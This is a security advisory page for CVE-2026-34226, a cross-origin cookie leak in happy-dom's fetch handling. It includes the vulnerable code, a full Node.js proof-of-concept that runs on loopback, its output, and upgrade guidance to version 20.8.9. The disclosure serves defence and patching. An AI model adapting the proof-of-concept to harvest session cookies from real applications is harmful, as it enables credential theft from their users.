CVE-2026-34226: Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

Published Mar 27, 2026
·
Updated

Summary happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

ts const originURL = new URL(options.window.location.href); const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]); // ... const cookies = options.browserFrame.page.context.cookieContainer.getCookies( originURL, false );

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

javascript const http = require('http'); const dns = require('dns').promises; const { Browser } = require('happy-dom');

async function listen(server, host) { return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port))); }

async function run() { let observedCookieHeader = null; const pageHost = process.env.PAGEHOST || 'a.127.0.0.1.nip.io'; const apiHost = process.env.APIHOST || 'b.127.0.0.1.nip.io';

console.log('=== PoC: Wrong Cookie Source URL in credentials:include ==='); console.log('Setup:'); console.log( Page Origin Host : ${pageHost}); console.log( Request Target Host: ${apiHost}); console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)'); console.log('');

await dns.lookup(pageHost); await dns.lookup(apiHost);

const pageServer = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'text/plain' }); res.end('page host'); });

const apiServer = http.createServer((req, res) => { observedCookieHeader = req.headers.cookie || ''; const origin = req.headers.origin || ''; res.writeHead(200, { 'content-type': 'application/json', 'access-control-allow-origin': origin, 'access-control-allow-credentials': 'true' }); res.end(JSON.stringify({ ok: true })); });

const pagePort = await listen(pageServer, '127.0.0.1'); const apiPort = await listen(apiServer, '127.0.0.1');

const browser = new Browser();

try { const context = browser.defaultContext;

// Page host: pageHost (local DNS) const page = context.newPage(); page.mainFrame.url = http://${pageHost}:${pagePort}/dashboard; page.mainFrame.window.document.cookie = 'pagecookie=PAGEONLY';

// Target host: apiHost (local DNS) const apiSeedPage = context.newPage(); apiSeedPage.mainFrame.url = http://${apiHost}:${apiPort}/seed; apiSeedPage.mainFrame.window.document.cookie = 'apicookie=APIONLY';

// Trigger cross-host request with credentials. const res = await page.mainFrame.window.fetch(http://${apiHost}:${apiPort}/data, { credentials: 'include' }); await res.text();

const leakedPageCookie = observedCookieHeader.includes('pagecookie=PAGEONLY'); const expectedApiCookie = observedCookieHeader.includes('apicookie=APIONLY');

console.log('Expected:'); console.log(' Request to target host should include "apicookie=APIONLY".'); console.log(' Request should NOT include "pagecookie=PAGEONLY".'); console.log('');

console.log('Actual:'); console.log( request cookie header: "${observedCookieHeader || '(empty)'}"); console.log( includes pagecookie: ${leakedPageCookie}); console.log( includes apicookie : ${expectedApiCookie}); console.log('');

if (leakedPageCookie && !expectedApiCookie) { console.log('Result: VULNERABLE behavior reproduced.'); process.exitCode = 0; } else { console.log('Result: Vulnerable behavior NOT reproduced in this run/version.'); process.exitCode = 1; } } finally { await browser.close(); pageServer.close(); apiServer.close(); } }

run().catch((error) => { console.error(error); process.exit(1); });

Environment: 1. Node.js >= 22 2. happy-dom 20.6.1 3. DNS names resolving to local loopback via .127.0.0.1.nip.io

Reproduction steps: 1. Set page host cookie: pagecookie=PAGEONLY on a.127.0.0.1.nip.io 2. Set target host cookie: apicookie=APIONLY on b.127.0.0.1.nip.io 3. From page host, call fetch to target host with credentials: "include" 4. Observe Cookie header received by the target host

Expected: 1. Include apicookie=APIONLY 2. Do not include pagecookie=PAGEONLY

Actual (observed): 1. Includes pagecookie=PAGEONLY 2. Does not include apicookie=APIONLY

Observed output: text === PoC: Wrong Cookie Source URL in credentials:include === Setup: Page Origin Host : a.127.0.0.1.nip.io Request Target Host: b.127.0.0.1.nip.io (both resolve to 127.0.0.1 via public wildcard DNS)

Expected: Request to target host should include "apicookie=APIONLY". Request should NOT include "pagecookie=PAGEONLY".

Actual: request cookie header: "pagecookie=PAGEONLY" includes pagecookie: true includes apicookie : false

Result: VULNERABLE behavior reproduced.

Impact Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Other sources

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.

— MITRE

Affected Software

4 affected componentsFixes available
npm/happy-dom<20.8.9
npm/happy-dom<20.8.9
20.8.9
capricorn86 Happy Dom Nodejs<20.8.9
capricorn86 Happy Dom Node.js<20.8.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/happy-dom to a version that resolves this vulnerability.

    Fixed in 20.8.9
  2. Upgrade

    Upgrade happy-dom to a version that resolves this vulnerability.

    Fixed in 20.8.9

Event History

Mar 27, 2026
CVE Published
via MITRE·09:17 PM
Data Sourced
via MITRE·09:17 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·10:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·10:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Mar 29, 2026
Advisory Published
via GitHub·03:23 PM
Data Sourced
via GitHub·03:23 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-34226?

CVE-2026-34226 has a severity rating that may indicate potential security implications due to improper cookie handling.

2

How do I fix CVE-2026-34226?

To fix CVE-2026-34226, update Happy DOM to version 20.8.9 or later.

3

What are the potential risks associated with CVE-2026-34226?

The potential risks of CVE-2026-34226 include exposing sensitive cookies from the current page origin instead of the intended target origin.

4

Which versions of Happy DOM are affected by CVE-2026-34226?

Versions of Happy DOM prior to 20.8.9 are affected by CVE-2026-34226.

5

How can I verify if my Happy DOM version is vulnerable to CVE-2026-34226?

You can verify if your Happy DOM version is vulnerable to CVE-2026-34226 by checking if it is below version 20.8.9.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203